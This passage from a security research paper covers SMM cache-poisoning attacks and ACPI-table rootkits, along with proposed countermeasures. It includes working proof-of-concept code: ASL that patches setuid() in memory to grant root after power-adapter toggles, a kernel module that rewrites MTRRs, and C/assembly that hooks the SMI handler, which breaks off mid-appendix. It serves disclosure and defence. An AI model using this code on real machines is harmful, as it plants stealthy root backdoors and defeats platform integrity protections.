protected legacy or high SMRAM. It is however important to note that SMBASE
values are machine-dependent and that it is very likely that two machines of the



Laptop1 Laptop2 Desktop Scientific

Vendor Toshiba Dell VECI Dell

Model Portégé M400 Latitude D520 VECI Precision 490

CPU T1300 Celeron M Pentium 4 Xeon

Multi-CPU No No No Yes

SMRAM High High Legacy TSEG

D LCK set
No No No Yes

by BIOS

D LCK set for
Yes Yes Yes Yes

experiments

Scheme works Yes Yes Yes Yes

Fig. 7. Experimental settings

same model will use identical SMBASE settings. Thus, the SMBASE value may
either be determined online on the target computer, or offline on an identical
computer.

Basically, a first solution to determine SMBASE would be for the attacker
to modify the caching strategies for the legacy SMRAM, high SMRAM and
TSEG (if they are in use) to Write-Back and attempt to fill those memory
areas with rsm instructions. All three memory areas will thus be filled with
repeated rsm instructions. All the attacker has to do is trigger an SMI. The
CPU switches to SMM upon receiving the SMI, saves its context in the saved
state map and run the SMI handler. Because of the caching strategy, if SMBASE
is within the legacy SMRAM, high SMRAM or TSEG memory range, the first
instruction run is an rsm instruction. As a consequence, the CPU will get back
to protected mode. If the attacker now reads the contents of the legacy SMRAM,
high SMRAM and TSEG, they should still be filled with rsm instructions except
for the memory area corresponding to the saved state map. As the offset between
the base address of the saved state map and SMBASE is a well known value,
finding the base address of the saved state map yields SMBASE (see figure 8).

However, the previous scheme is not realistic as caches are far smaller than
each of the three possible SMRAM areas. So the attacker will have to test each
possible location one after the other, and make sure that the memory areas filled
with rsm instructions are small enough to fit in the cache. Such a meticulous
approach thus relies on a correct approximation of the size of the cache used on
the platform.

Actually, filling the SMRAM with rsm instructions is not necessary. The
attacker only needs to modify the caching strategies for the legacy SMRAM,
high SMRAM and TSEG (if they are in use) to Write-Back and trigger an SMI
and try to locate the saved state map. As the saved state map is the last data
structure accessed by the SMI handler, it necessarily lingers in cache. We were
able to use this scheme to determine SMBASE on machines even when SMRAM
was locked. Proof-of-concept code is available from the authors on request.
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Part 3 — The Advanced Configuration

and Power Interface

The Advanced Configuration and Power Interface (ACPI) is also responsible
for the power management. ACPI is intended to let an operating system syn-
chronously control the hardware it is running on, contrary to the System Man-
agement Mode which only handles power management events in an asynchronous
way. For example, ACPI allows the OS to suspend devices or check the battery
state.

In the remainder of this section, we show how security flaws arise from the
ACPI design, the principles of which are first briefly presented. We then illustrate
some of the issues raised by means of a proof of concept for hidden functions
that are triggered by external stimuli. We also discuss some limitations of the
attack.

8 ACPI design principles

In the model, the chipset does not attempt to configure power management
registers by itself. Configuration is actually initiated by software components
running on the CPU. At boot time, the BIOS is likely to configure the hardware,
while the operating system or trusted computing base is in charge of power
management once the boot process is over.

In the ACPI model, the platform provides an ACPI BIOS, several ACPI
registers that are accessed for power management purpose (they can be either
Memory Mapped registers, Programmed I/O registers or PCI configuration reg-
isters), and ACPI tables that basically specify how ACPI registers should be
accessed.

ACPI tables have different types and purposes:

– the Root System Description Table (RSDT) contains a set of pointers to
the other tables. The address of the RSDT is provided by the Root System
Description Pointer (RSDP), which must be stored in the Extended BIOS
Data Area (EBDA), or in the BIOS read-only memory space. The OSPM
will only locate the RSDP by searching for a particular magic number (the
RSDP signature) that the RSDP is required to begin with;

– the Differentiated System Description Table (DSDT), the address of which
can be determined thanks to the pointer provided by the RSDT, contains
those methods that should be used by the component in charge of power
management and specifies how the power characteristics of the devices shall
be modified. The ACPI specification only defines the methods that are avail-
able for each device and their meaning. Actions defined in the methods are
machine-specific. The DSDT is written in AML (ACPI Machine Language)
[11], which can be disassembled into a more comprehensible language, called
ASL (ACPI Specification Langage)[3];



– many other tables are also provided, but for the sake of simplicity, we will
not give details on them.

ACPI does not standardise power management at the software level, but
operating systems should include the following components to perform power
management tasks:

– an Operating System-directed configuration and Power Management com-
ponent (OSPM) running at the kernel level should be in charge of the overall
power management strategy;

– an ACPI driver and an AML interpreter should be used by the OSPM to
execute the contents of the methods specified in the DSDT;

– device drivers should optionally make use of the AML interpreter to perform
power management independently of the OSPM.

ACPI components and their relationships with the kernel are summarised in
Figure 9.
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Fig. 9. ACPI architecture



8.1 DSDT basic structure

The DSDT describes those devices that support power management. Devices
are organised in packages in a tree-like structure. Several standardised packages
are located under the root (labelled \) of the tree, such as the \_PR Processor
tree package, which stores all CPU related objects and the \_SB System Bus
tree package, which stores all bus-related resources. PCI resources (e.g., PCI0,
PCI1) are located in the \_SB package. In turn, devices can be defined in other
devices’ subtrees. For instance, IDE or USB controllers can be accessed in the
tree below the PCI0 device; the path to the USB0 host controller on the DSDT
tree is thus \_SB.PCI0.USB0. Power management-related methods are the leaves
of the tree. For example, the method that allows the USB0 controller to transit
to the S5 power state is \_SB.PCI0.USB0._S5. Most method names are defined
in the ACPI standard, so that the OSPM knows which method to call. Example
of such standard methods are given in [11].

Power management basically works as follows: in response to some hardware-
triggered event, or based on its own policy, the OSPM can initiate a power
management-related action by executing the corresponding AML method in the
DSDT. For instance, in order to put one of the USB controller in the S5 power
state, the OSPM simply has to run the \_SB.PCI0.USB0._S5 method.

8.2 ACPI machine language and ACPI source language

AML-written tables can be disassembled in ACPI source language (ASL) using
for instance the ACPIca tools [3]. The ASL language provides basic constructs in
order to define ACPI registers and methods. Logical and arithmetic operations
on registers, branching instructions and loops are available. Special commands
are also available, like the Notify() command, which can be used by the OSPM
to send messages to other parts of the operating system. Next section shows how
Notify events are handled under Linux.

The ACPI registers are defined by the ASL OperationRegion() command.
Memory, PCI configuration and PIO spaces can be mapped as ACPI registers.
Different fields of each ACPI register can be given a name using the Field()

command (see next section).

8.3 Use of ACPI in practice: Linux example

In this section, we study how ACPI is handled by an ACPI-compliant Linux
system. This will be useful as most of the examples we give in the next sections
will be related to Linux systems.

ACPI software in Linux is mostly composed of two different parts:

– a kernel service which includes an AML interpreter, ACPI drivers for differ-
ent devices (e.g, fan, CPU, batteries) and part of the OSPM. The modular
structure of the Linux kernel allows for a selection of devices that are handled
by the kernel using ACPI;



– a userland service called acpid (ACPI daemon) that is functionally part of
the OSPM. acpid is configured through a set of configuration files stored
in the /etc/acpi directory, each of which specifies the expected system
behaviour when an ACPI “Notify” event for a particular device is received.
For instance, the /etc/acpi/power file can be used to configure acpid so
that whenever a power button event is received, the shutdown command is
executed.

The Linux kernel also allows the user to define an alternate DSDT file, dif-
ferent from the one specified by the BIOS. This function is quite convenient as
it allows the DSDT to be modified, e.g. for debug purposes.

The easiest way to force the kernel to use a custom DSDT is through the use
of an “initial RAM disk” (initrd). An initrd is usually used by the bootloader of
a Linux system to load kernel modules that are required to access the root file
system (SATA or IDE drivers, file system-related modules for instance) when
they are not shipped with the kernel. But the initrd can also be used to provide
a custom DSDT to the kernel. For the kernel to use a custom DSDT, all we have
to do is create an initrd file with the following command7 and provide the initrd
to the bootloader.

mkinitrd --dsdt=dsdt.aml initrd.img 2.6.17

The DSDT used by the system is accessible via the /proc/acpi pseudo-file.
It is then possible to disassemble the DSDT of the system and then reassemble
the output ASL file without modifications. On some computers, this simple
operation fails. On the example below, we disassemble the DSDT file (called
“dsdt”) of an actual desktop system through the iasl -d dsdt command. The
ASL file corresponding to the DSDT is written in the dsdt.dsl file. Next, we
compile the dsdt.dsl file into AML. Ideally, the output file should be identical
to “dsdt” . However, the compiler shows unexpected compilation errors. This is
symptomatic of ACPI tables that do not comply to the standard, despite being
written in AML.

#iasl -d dsdt

Loading Acpi table from file dsdt

[...]

Disassembly completed, written to "dsdt.dsl"

#iasl dsdt.dsl

dsdt.dsl 286: Method (\_WAK, 1, NotSerialized)

Warning 1079 - ^ Reserved method must return a value (_WAK)

dsdt.dsl 319: Store (Local0, Local0)

Error 4049 - ^ Method local variable is not initialized (Local0)

dsdt.dsl 324: Store (Local0, Local0)

Error 4049 - ^ Method local variable is not initialized (Local0)

ASL Input: dsdt.dsl - 4350 lines, 144392 bytes, 1678 keywords

Compilation complete. 2 Errors, 1 Warnings, 0 Remarks, 382 Optimizations

7 The code that is presented below has been tested for a Linux 2.6.17 kernel.



It is also possible to copy the system DSDT and change the definition of
ACPI registers. If we map kernel structures such as system calls to ACPI regis-
ters, or define new ACPI registers, compiling the modified DSDT does not cause
any warning. It is then possible to update the initrd of the system in order for the
modified DSDT to be used by the system after the next reboot. The following
code describes how to define such new ACPI registers. The first OperationRe-
gion() command defines an ACPI register called LIN corresponding to a byte-
wide PCI configuration register. The second OperationRegion command defines
a system memory 12-byte wide ACPI register called SAC composed of three
4-byte registers defined through the following Field() command called SAC1,
SAC2 and SAC3.

/* PCI configuration register : */

/* Bus 0 Dev 0 Fun 0 Offset 0x62 is mapped to LIN */

Name(_ADR, 0x00000000)

OperationRegion(LIN, PCI_Config, 0x62, 0x01)

Field(LIN, ByteAcc, Nolock, Preserve) { INF,8 }

/* System Memory at address 0x00175c96 */

/* (Setuid() syscall) is mapped to SAC */

OperationRegion (SAC, SystemMemory, 0x00175c96, 0x000c)

Field (SAC, AnyAcc, NoLock, Preserve)

{ SAC1,32, SAC2,32, SAC3,32 }

9 Security issues with ACPI

In this section we study different security issues related to ACPI. The ACPI
model seems to be the most important security flaw. Indeed, the OSPM must
trust the content of the ACPI tables supplied by the BIOS in order to run ACPI
code. Actually, the OSPM has no particular way to determine whether ACPI
tables are genuine or not. Also, the OSPM has no means to properly identify
what the ACPI registers are. As ACPI does not provide any ACPI register
identification scheme, the OSPM cannot ensure that the methods defined in the
DSDT actually manipulate only ACPI registers, so the OSPM can merely trust
those methods.

One could argue that OSPMs have the possibility to correctly identify ACPI
registers. For instance, if the OSPM knows that a particular network adapter is
plugged in, it should be able to know which specific configurations of the device
are related to power management and which are not. If the OSPM was able
to differentiate ACPI registers from regular chipset or device registers then the
OSPM could enforce a simple access control policy and would refuse to read or
modify the content of any non-ACPI register even if instructed to do so by one
of the methods of the DSDT. However, as stated in introduction, ACPI has been
precisely introduced to define common interfaces and make sure that platform-
specific information (for instance the location of ACPI registers) is pushed in
ACPI tables for the operating system to configure the platform without an in-
depth understanding of the semantics of the chipset or devices registers. In other



words, ACPI would be useless if the OSPM knew enough of the platform details
to identify the ACPI registers.

Another argument could also be that it is not a security issue that the OSPM
is not able to identify ACPI registers, as computer programs have to trust higher-
privilege or to some extent previously booted components. What we wanted to
stress out here is the fact that ACPI could have been designed differently at the
hardware or platform level to allow OSPMs to differentiate ACPI registers from
other registers. What’s more, the paradigm forcing OSes to trust previously
booted software tends to be challenged by new technologies using hot reboot
(this matter is discussed in section 12).

We now look at the problem from the chipset point of view. The chipset is
able to know the location and the purpose of most ACPI registers, but it does
not know when the OSPM is running on the CPU, nor can it distinguish ACPI-
related access to the registers from non-ACPI-related accesses. From the chipset
perspective, a userspace code attempting to modify a register is not different
from the OSPM, so there is no way for the chipset to enforce that the OSPM
be the only component to access ACPI-related registers and that OSPM cannot
access non-ACPI-related registers.

At this point, one could argue that it is not the job of the hardware to make
security-related decisions. Here again our point is that the fact that neither the
OSPM nor the chipset can serve as a policy enforcement point seems a major
design problem. Additionally, it seems fair to note that the chipset is already
used as a policy enforcement point to restrict access to security-critical memory
areas such as the SMRAM (as described in the previous part), so using the
chipset to make the platform more secure would not really be that innovative.

As a summary, neither the chipset nor the OSPM can decide whether an
action is legitimate or not: the OSPM is not able to determine if the registers it
is accessing are indeed ACPI because it blindly trusts the content of the DSDT,
and the chipset cannot know what software component is trying to access a
particular resource because all software components running in protected mode
look the same to the chipset.

The lack of policy enforcement point makes it impossible to detect misbe-
haviours of the ACPI sub-system:

– it is impossible to detect a bug in the DSDT that would incorrectly define an
ACPI register (remember that disassembling the DSDT and reassembling it
on some computers reveals AML errors);

– it is impossible to detect live modifications of the DSDT image the OSPM
is using.

Other security issues exist even if they can probably be considered of lesser
importance. First, device drivers are allowed to access the content of the DSDT
and perform ACPI-related tasks. The fact that the OSPM and the device drivers
could be independently accessing the same registers could lead to inconsistencies
and to incorrect system behaviour. For instance, the OSPM could consider that
some device is in a particular state when the device driver itself has configured
the device differently.



Also, the fact that the OSPM has to actually look for the Root System
Description Pointer signature to be able to locate the structure is quite debatable
from a security point of view. OSPMs probably do not look for multiple RSDP
structures, so an OSPM is likely to use the first RSDP matching the signature.
The fact that the OSPM is indeed able to identify the actual RSDP relies on the
assumption that there is no way for an attacker to insert a rogue RSDP with a
correct signature in memory before the genuine RSDP. This assumption actually
does not prove easy to guaranty.

10 Design of a rootkit function

The overall principle of an ACPI rootkit has been presented by John Heas-
man [9]. According to the author, designing an ACPI rootkit triggered by ex-
ternal hardware events (e.g., lid closing, power adapter plugging or removing)
was still an open problem. In this paper, we present a proof-of-concept code that
allows a rogue rootkit-like function to run whenever the power adapter is pulled
and replugged twice in a row. We also study the limits of the ACPI model and
conclude that ACPI rootkits detection is a complex problem.

An attacker controlling the content of the DSDT could:

– add devices in the DSDT, create new ACPI registers corresponding to any
memory zone, or PIO register;

– modify existing methods behaviour, create additional methods.

This attack assumes that the attacker has enough privileges to modify the
DSDT used by the OSPM. For instance, the attacker can attempt a live mod-
ification of the DSDT the OSPM is using or, alternatively, interfere with the
DSDT load process (for instance by flashing the BIOS or modifying the boot
loader) in order for the OSPM to load the tainted DSDT. On most operating
systems, an attacker will only be allowed to do so if she is granted maximum
privileges (ring 0). Therefore, this attack shall not be useful in a privilege esca-
lation scheme; on the other hand, modifications of the DSDT can be useful to
kernel-level rootkits.

Kernel-level rootkits are malwares trying hard to ensure both their stealth-
iness and resilience. Indeed, an attacker needs her rootkit to hide its presence
from the user and the operating system and also remain in memory, even if part
of the rootkit is removed by some antivirus software. We have discussed attacks
on the System Management Mode in the previous part. Another possibility for
the rootkit is to modify one of the methods of the DSDT to make sure that
each time this method is launched by the OSPM, functions of the rootkit get
executed.

As a proof-of-concept of what is described above, we show how it is possible
for an attacker to design an ACPI rogue code for a Toshiba Portégé M400 laptop
using a Linux Mandriva 2008 [22] system. This rogue code is intended to trigger
a backdoor every time the power adapter plug is pulled and replugged twice in



a row; the backdoor grants superuser privileges to subsequent user logins, no
matter what the user id is.

In order to do so, the attacker can create a new device TEST and define a new
ACPI register called INF corresponding to an otherwise unused chipset register8.
This chipset register is a PCI configuration register (bus 0, device 0, function 0,
offset 0x62). It is byte-wide, readable and writable and is not used by any other
software component (including BIOS). Such a device can be defined as below9:

Scope(\_SB.PCI0){

Device(TEST){

Name(_ADR, 0x00000000)

OperationRegion(LIN, PCI_Config, 0x62, 0x01)

Field(LIN, ByteAcc, Nolock, Preserve)

{ INF,8 }

Method(_S1D,0, NotSerialized)

{ Return(One) }

Method(_S3D,0, NotSerialized)

{ Return(One) }

[...]

}

}

On Linux-operated laptops, the _STA (Status Request) function of the BAT1

device is used by the OSPM to check the status of the main battery, so it is
supposed to be executed quite frequently (experiments have shown that it is
invoked around once every 10 seconds).

The _PSR (Power Source) function of the ADP1 device is called when the
power adapter is unplugged or plugged in. This function is used by the system
to determine what the current power sources are. The attacker can use the newly
created INF ACPI to keep track of the number of times the _PSR function has
been executed in a row without the BAT1._STA function being called. This can
be achieved by means of the following modifications. The BAT1._STA function is
modified to ensure that each time BAT1._STA is executed, the INF ACPI register
is set to 1. This can be done by using the Store() ASL command. Of course, it
is possible to modify other functions10 in the same way as BAT1._STA to make
sure that the INF ACPI register is set to 1 as often as possible.

8 The attacker could alternatively have used an unused memory space, as for example
the BIOS keyboard buffer, located at physical addresses 0x41a to 0x43e.

9 The device presented does not only contain the INF register, but also some standard
methods, defined for every ACPI device. Even if these methods may not be necessary
for the TEST device to be defined in the DSDT, they make it resemble real devices.

10 Determining experimentally which functions are called often requires modification
of the DSDT to make sure that each function of the DSDT writes a different value to
the INF register when called, and tracking accesses to the INF registers (modification
of the ACPI driver).



Device(BAT1){

[...]

Method (_STA, 1, NotSerialized)

{

Store(0x1 , \_SB.PCI0.TEST.INF)

[...]

}

}

The attacker also has to modify different functions and registers of the ADP1
device. A new ACPI register is created, which corresponds to the memory lo-
cation where the setuid() syscall is stored (more precisely to the part of the
setuid() syscall where the effective user id is set).

Device (ADP1)

{ [...]

/* Map setuid() syscall. 0x00175c96 is the physical address */

/* of the part of setuid() to be modified by the backdoor */

OperationRegion (SAC, SystemMemory, 0x00175c96, 0x000c)

Field (SAC, AnyAcc, NoLock, Preserve)

{

SAC1, 32,

SAC2, 32,

SAC3, 32

}

[...]

The ADP1. PSR function is also modified to increment INF.

[...] /* In ADP1 device */

Method (_PSR, 0, NotSerialized)

{ /* if INF = 4 then modify setuid() */

If (LEqual (\_SB.PCI0.TEST.INF, 0x4))

{

Store(0x90900000, SAC3)

Store(0x0, SAC2)

Store(0x014c80c7, SAC1)

}

/* increment INF */

Increment (\_SB.PCI0.TEST.INF)

Return (\_SB.MEM.AACS)

}

[...] /* ADP1 device continues */

If the INF ACPI register reaches the value 4, meaning that ADP1._PSR has
been called four times in a row (unplugged and plugged again in twice in a row)
without the BAT1._STA function being called in the meantime, the backdoor gets
executed. The backdoor modifies the setuid() system call (which is called by
the authentication process every time a user logs on the system) in such a way
that any user obtains the superuser identity instead of her own identity (i.e.



is granted maximum privileges) if authentication succeeds. This is achieved by
modifying 12 bytes of setuid() code at physical address 0x175c96 (mapped in
the SAC1, SAC2, SAC3 ACPI registers) to make sure that the effective identity of
the user is set to root. The values to be written depend on the version of the
kernel, here the assembly language instruction movl $0, 0x14c(%eax) (where
0x14c(%eax) corresponds to the memory location of the effective user id for this
version of the kernel) are to be added, followed by two nop operations for opcode
alignment purposes.

/* Without backdoor activation */ /* After backdoor activation */

Mandriva Linux Release 2008.0 Mandriva Linux Release 2008.0

Kernel 2.6 on an i686 / tty1 Kernel 2.6 on an i686 / tty1

Login: user Login: user

Password: Password:

$id #id

uid=500(user) [...] euid=500(user) uid=500(user) [...] euid=0(root)

$whoami #whoami

user root

11 Limitations

In the previous sections, we have shown that creating an ACPI rootkit-like func-
tion is possible. However, there are a couple of important limitations:

– an ACPI rootkit is machine-specific. It requires modification of the DSDT,
the content of which is strongly related to the machine hardware;

– an ACPI rootkit most likely needs to be operating system-specific. The abil-
ity to create a generic and operational ACPI rootkit on a platform indepen-
dently of the operating system type still needs to be verified. The ACPI _OS
object or the ACPI _OSI command can help identify OSes but of course it
is possible for the operating system to lie about its version;

– after a reboot, the OSPM reloads the DSDT from the one provided by the
platform, unless the rootkit ensures that a modified one is loaded instead.
ACPI rootkit functions will thus require knowledge of relatively important
parts of the operating system or of the BIOS.



Part 4 — Impact and countermeasures
It has been shown in the previous parts that an attacker could modify either the
SMI handler or the ACPI tables to add hidden backdoors on a platform. Such
backdoors may allow for stealthier malware or rootkits. What is more, they could
survive a late launch as described in the TxT technology (see section 2.4), and
therefore defeat the attempts to exclude the BIOS from the Trusted Computing
Base.

Our proofs of concept assume the attacker has ring 0 privileges before late
launch occurs. However, such a trap could also be added during the conception
or the shipping of the machine, by altering the BIOS.

In section 12, we study how to detect and prevent attacks on ACPI tables.
Then, section 13 presents possible solutions to mitigate the risks of a modification
of the SMI handler. Finally, section 14 gives an overall conclusion to this paper.

12 How to secure ACPI?

We have seen in introduction that the Trusted Computing Base, which is the
subset of hardware and software components of a trusted platform with the
highest privilege level, should be kept as small as possible. As the ACPI specifi-
cation suggests that the OSPM should be part of the software component with
the highest privilege level, power management tasks should be part of the TCB
of a trusted platform. In other words, the ACPI tables (and more specifically
the DSDT) must be included in the TCB and their integrity enforced for power
management tasks to remain generic.

12.1 Ensure the integrity of the tables

If TPM and CRTM (Core Root of Trust for Measurement) are used, ACPI tables
can be measured at boot time, and modifications to ACPI tables that survive
reboots are likely to be detected. But measurements cannot ensure that tables
will not be modified in the future by a rootkit. Furthermore, measurements will
ensure table integrity but will not give a way to trust their content.

Alternatively, one could also propose that the BIOS vendors cryptograph-
ically sign the ACPI tables. The signature would be verified at boot time by
the BIOS itself to make sure that ACPI tables have not been modified. Such a
scheme would probably not be really efficient as an attacker that would manage
to modify ACPI tables would also probably have enough privileges to deactivate
the signature verification function unless this function is immutable. Signature
schemes will also not provide any protection against bugs in BIOS-provided
ACPI tables.

12.2 Static analysis

How can the trusted computing base determine that there is no bug or rogue
function in the ACPI tables provided by the platform that will modify the ex-
pected behaviour? ACPI static analysis tools could be used to detect anomalous



behaviours in the methods defined in ACPI tables and look for the definition of
ACPI registers that are not legitimate (e.g., mapping between a register and a
system call).

However, static analysis has several limitations. First, the efficiency of such a
tool would depend on its knowledge of the operating system and the underlying
hardware platform, which may turn out to be quite complex. Second, a bug in
the ACPI tables may allow an attacker to program wrong addresses in a DMA
transfer, which would inn turn result in smashing kernel code in main memory.
Last, static analysers would not help against live modification of the ACPI tables.

As a summary, static analysis alone will certainly not be able to prevent
every attacks, but could be coupled with dynamic analysis, or with an IOMMU,
allowing the OS to restrain devices’ access to main memory.

12.3 Dynamic analysis

Dynamic analysis may thus be used inside the trusted computing base to pre-
vent such modifications. Unfortunately, such tools would not be able to prevent
kernel-level malicious codes from deactivating them before modifying ACPI ta-
bles.

The best solution so far for a trusted platform would be to shift to a new
paradigm, where the component in charge of power management would be a non
privileged operating system running on top of the TCB rather than inside it. In
this way, the OSPM running methods described in ACPI tables would not have
enough privileges to modify security critical structures such as the ones inside
the trusted computing base. Any such attempt would give the hand back to the
trusted computing base that can for instance shut down the power management
domain and report the security breach.

However, such an approach was rejected in the Linux kernel [23] case because
ACPI is needed in the early boot phase, when only ring 0 kernel is running.
Besides, delegating ACPI to an unprivileged task might be problematic during
“suspend to ram” or “suspend to disk” operations, since the task might have
been swapped on hard drive it is supposed to wake up. Theses issues would have
to be taken into account to provide a functional OSPM.

13 How to secure the SMI handler?

13.1 Impact of the cache attack presented

The problem is far more complex when trying to detect modifications inside
the SMI handler, or to check whether the handler is harmless and secure. The
main issue is that the SMI handler is protected by the access control mechanism
described in section 3.4, which prevents even the highest privileged software com-
ponent (the hypervisor or the OS) from reading the SMRAM content. Therefore,
the OS kernel would have no way to detect a modification of the SMI handler by
an attacker trying to insert a backdoor, unless a security flaw is exploited (c.f. 7).



The same problem arises on a platform using TxT technology. Indeed, as the SMI
handler runs in System Management Mode, its execution is completely invisible
to the hypervisor or the OS kernel.

Currently, it seems like one has to accept the risk. However, further studies
may be led in two directions. The first one would consist in virtualising SMM, in
order to allow the CPU to hand over the control to the hypervisor whenever the
SMI handler needs to perform a privileged action. The second one would consist
in adding monitoring features to the chipset, for the hypervisor to analyse the
SMI handler at will. As the chipset has access to the SMRAM (it can choose to
bypass its own access control), it can provide real time monitoring and integrity
checks. It should nevertheless be noted that the SMM security flaws presented
here imply that the chipset cannot know the memory location of the SMI handler
that really gets executed.

Regarding the potential misuses of the technique presented in 7, rootkits
could implement the attack to silently taint any chipset structure, including
those that are read-only, like BIOS functions. The modification would only take
place in cache and would not require actual modification of the BIOS ROM.

Another potential source of interest is the fact that this technique can be used
to hide taintings from external memory integrity scanners [21]. Such scanners
monitor the contents of main system memory but cannot detect modifications
that only occur in cache. Another major impact is on security features such
as DeepWatch [2] and Hyperguard [25]. Deepwatch is a chipset-based security
mechanism proposed by Intelr that aims at checking operating systems, virtual
machine monitors and SMRAM contents integrity. Hyperguard is a solution that
includes rootkit detection functions within the SMI handler. These functions
have not been fully implemented yet but it seems that they will be inefficient
against our scheme, even when used in conjunction with Deepwatch (the role of
which would be to check the integrity of Hyperguard), as there is no way for these
tools to detect a rogue SMRAM relocation. Deepwatch will only be checking the
memory address where Hyperguard is supposed to be and Hyperguard will no
longer be executed once the SMRAM space is relocated.

However, in both cases, the inconsistency between main memory and cache
would only last a very short time because of the nature of the cache. To avoid
detection, the attacker must make sure to invalidate caches once the attack
scheme has been carried out as described in section 7.3.

13.2 Countermeasures

CPU modification actually seems to be the only efficient countermeasure against
the SMI handler code injection attack we presented. Indeed, all other potential
countermeasures presented hereafter would merely slow down the attacker, but
would not prevent her from carrying out the attack. In a private communica-
tion, Intelr confirmed that such a CPU modification seemed to be the only
reasonable countermeasure. They took the matter seriously and implemented
a (still undocumented) new feature in very recent CPUs (Conroe-Penryn core
CPU timeframe) which could be used to prevent the proposed attack scheme.



However, Intelr acknowledged that unfortunately, very few OEMs actually took
advantage of this new feature at this point. Older CPUs are still vulnerable to
the problems mentioned in this paper.

The first countermeasure one could think of is for the SMI handler designer
to require cache flushes before each rsm instruction. This way, most of the SMI
handler would not linger in SMRAM. However, this only prevents the attacker
from retrieving the original platform SMI handler. As we said, flushing caches
does not help if the attacker can craft a correct SMI handler on her own, as she
is still able to carry out the scheme from section 7.2.

Locating the SMI handler is actually the attacker’s main challenge in order
to execute the scheme as she cannot read the SMBASE register. Pre-boot envi-
ronment can either choose to locate the SMI handler in legacy or high SMRAM,
or in TSEG, or even outside chipset-protected memory areas. Out of the four
machines we tested (two laptops, a desktop computer and a server), all three
different types of SMRAM location (TSEG, legacy SRAM, high SMRAM) and
four different values for SMBASE were used. The only known solution (if the
D LCK bit is set) consists in caching all possible locations where the SMI han-
dler might be and trigger SMIs (see section 7.6). Therefore using a non standard
SMBASE value will probably slow down the attacker but not solve the problem
either.

These countermeasures are not really satisfactory and only a modification
of the CPU ensures that accesses to the cache lines corresponding to SMRAM
are impossible outside System Management Mode, and therefore prevents the
attacks.

14 Conclusion

Several initiatives aim at excluding the BIOS from the Trusted Computing Base
of trusted platforms. In this paper, we showed that it was possible for an attacker
to modify the content of the SMI handler and of the ACPI tables used by the
operating systems or the virtual machine monitors for device configuration and
power management purposes. In doing so, an attacker has the ability to include
hidden functions in the SMI handler or the ACPI tables, even though low level
security mechanisms are supposed to prevent such modifications.

We also discussed the impact of such modifications on PC platforms and
showed that the mere existence of SMI handlers and ACPI tables were an im-
portant limit to trusted computing. Indeed, if late launches may be used to run
a minimal virtual machine monitor or microkernel and get the BIOS out of the
Trusted Computing Base, the SMI handler provided by the BIOS remains in
memory and still runs with very high privileges without the virtual machine
monitor actually being able to control what this particular component is doing.
As a consequence, excluding the BIOS from the Trusted Computing Base seems
impossible with current technologies.

Concerning ACPI, static analysers seem by far the best short-term counter-
measures to detect modifications of ACPI tables that survive reboots. They can



also be used to detect bugs in BIOS-provided ACPI tables. Such tools should
be run after each BIOS update. Yet, detecting live modifications of the DSDT
will be almost impossible as long as the content of the DSDT will be executed
by the OSPM with the highest privilege level as it is the case for most classical
operating systems.
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Appendices

A Kernel module used to modify the MTRRs

/****************************************
* MTRR modification module
* Simply loading this module inside of
* the kernel modifies the content of
* the MTRR corresponding to legacy
* SMRAM
***************************************/

#include <linux/module.h>
#include <linux/kernel.h>

static int __init mod_mtrr(void)
{
/* We push register eax,ebx,ecx on the stack */

__asm__ volatile(
"push %eax\n"
"push %edx\n"
"push %ecx\n"

);

/* On wrmsr: MTRR[ecx] <- edx:eax
* Enable fixed MTRRs
* MTRR[0x2ff] <- 0:0x00000c00
*/

__asm__ volatile(
"movl $0x00000c00, %%eax\n"
"movl $0x0, %%edx\n"
"movl $0x2ff, %%ecx\n"
"wrmsr\n"
:"=a" (mtrr_config)

);

/* Ensure that legacy SMRAM is
* cached in Write-Back
* MTRR[0x259]<- 0:0x06060606
*/

__asm__ volatile(
"movl $0x06060606, %%eax\n"
"movl $0x0, %%edx\n"
"movl $0x259, %%ecx\n"
"wrmsr\n"
:"=a" (mtrr_config)

);
/* restore data registers */

__asm__ volatile(
"pop %ecx\n"
"pop %ebx\n"
"pop %eax\n"

);
return 0;

}

static void __exit mod_mtrr_exit(void)
{
}

module_init(mod_mtrr);
module_exit(mod_mtrr_exit);



B Replacing the SMI handler

/*************************************
* This code is used to relocate the
* SMRAM on a machine where the D_LCK
* bit is set.
* It has to be adapted to the target
* computer as it hooks the SMI handler
*/

/*
* Header files
*/

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <fcntl.h>

#include <sys/io.h>

#define MEMDEVICE "/dev/mem"

/* SMM handler that will be used ultimately */

/* C-code glue for the asm insert */
extern char handler[], endhandler[];
__asm__ (

".data\n"
".code16\n"
".globl handler, endhandler\n"
"\n"
"handler:\n"

/* Set protected mode return */
" addr32 mov $test, %eax\n"

/* address to test() */
" mov %eax, %cs:0xfff0\n"

/* Switch back to protected mode */
" rsm\n"
"endhandler:\n"
"\n"
".text\n"
".code32\n"

);

/* This handler is used to hook the genuine handler
* Offsets have to be determined manually
*/

extern char hook_handler;
__asm__ (".global hook_handler\n"

"hook_handler: \n"
".byte 0x66\n"//mov eax,0x30000
".byte 0xb8\n"
".byte 0x00\n"
".byte 0x00\n"
".byte 0x03\n"
".byte 0x00\n"
".byte 0x2e\n"//mov [cs:f8fe], eax
".byte 0x66\n"//[cs:fef8] is the stored
".byte 0xa3\n"//SMBASE location
".byte 0xf8\n"
".byte 0xfe\n"
".byte 0xe9\n"// jmp 0x1FC
".byte 0xea\n"
".byte 0x97"



);

extern char init_jmp;
__asm__(".global init_jmp\n"

"init_jmp:\n "
".byte 0xe9\n"//jump on hook handler
".byte 0x01\n"
".byte 0x6a\n"

);

/*
* This function is never explicitely called
* it is only executed upon successful
* return from SMM mode.
*/

void test(){
printf("SMRAM relocation was a success\n");
exit(EXIT_SUCCESS);

}
/*
* This is our main() function
*/

int main(void)
{

int fd;
/* Raise IOPL to 3 to open all I/O ports */

iopl(3);
/* Copy new handler at address 0x38000

(as if SMBASE=0x30000) */
fd = open(MEMDEVICE, O_RDWR);
vidmem = mmap(NULL, 0x8000, PROT_READ|PROT_WRITE,

MAP_SHARED, fd, 0x38000);
close(fd);
memcpy(vidmem, handler, endhandler-handler);
munmap(vidmem, 0x8000);

/* Modify MTRR settings */
system("insmod mod_mtrr.ko");

/* trigger SMI: SMRAM should be cached */
outl(0x0000000f, 0xb2);
printf("SMRAM should be cached\n");

/* Hook the SMRAM handler in the cache */
fd = open(MEMDEVICE, O_RDWR);
vidmem = mmap(NULL, 0x8000, PROT_READ|PROT_WRITE,

MAP_SHARED,fd, 0xa8000);
close(fd);
